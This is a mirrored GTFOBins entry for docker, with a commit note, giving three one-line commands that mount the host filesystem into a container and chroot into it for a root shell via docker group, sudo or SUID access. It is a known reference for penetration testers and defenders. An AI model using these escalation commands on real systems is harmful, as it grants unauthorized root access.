mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-10-23 00:57:56 +02:00
40ecb11b2e
Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work.
15 lines
696 B
Markdown
15 lines
696 B
Markdown
---
|
|
description: |
|
|
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
|
|
functions:
|
|
shell:
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
sudo:
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
suid:
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
---
|